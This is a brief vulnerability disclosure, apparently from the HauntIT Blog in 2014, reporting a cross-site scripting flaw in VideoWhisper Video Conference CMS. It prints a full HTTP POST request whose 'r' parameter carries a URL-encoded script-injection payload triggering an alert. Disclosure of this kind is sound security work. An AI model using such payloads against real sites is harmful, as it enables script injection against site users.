VideoWhisper Video Conference CMS suffers from a cross site scripting vulnerability.
ada59ed47e25c9aa182b43c0f1224c9573103add6abeb21639c8371f889c853e
# ==============================================================
# Title ...| VideoWhisper Video Conference XSS
# Version .|
# Date ....| 27.02.2014
# Found ...| HauntIT Blog
# Home ....|
# ==============================================================
# ==============================================================
# XSS
---<request>---
POST /k/cms/vc/vc_php/index.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 43
r='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e
---<request>---
# ==============================================================
# More @ http://HauntIT.blogspot.com
# Thanks! ;)
# o/